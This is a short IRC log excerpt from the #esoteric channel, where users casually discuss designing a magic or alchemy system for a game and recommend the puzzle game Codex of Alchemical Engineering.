1396309650 838879 :Bicyclidine!~Glossina@wl-nat109.it.wsu.edu PRIVMSG #esoteric :alchemic < 1396309866 963312 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :doesthiswork, well your main aim would be to avoid blowing your face off, i guess < 1396309947 193408 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i should sleep though < 1396309948 117924 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1396310042 200420 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :it would be cool if I could just define a small core and all the magical effects would be logical consiquences of it < 1396310069 554973 :Bicyclidine!~Glossina@wl-nat109.it.wsu.edu PRIVMSG #esoteric :pshaw, that doesn't sound very chemical < 1396310119 848925 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :have you ever played codex of alchemical engineering? < 1396310150 738169 :Bicyclidine!~Glossina@wl-nat109.it.wsu.edu PRIVMSG #esoteric :no < 1396310192 278805 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :http://www.zachtronics.com/alchemy/alchemy.htm < 1396310252 59432 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Phantom__Hoover: That "mystic energies" idea is closer to the ideas I had, actually < 1396310355 834645 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :wouls mystic energies have thier own wills and intentions?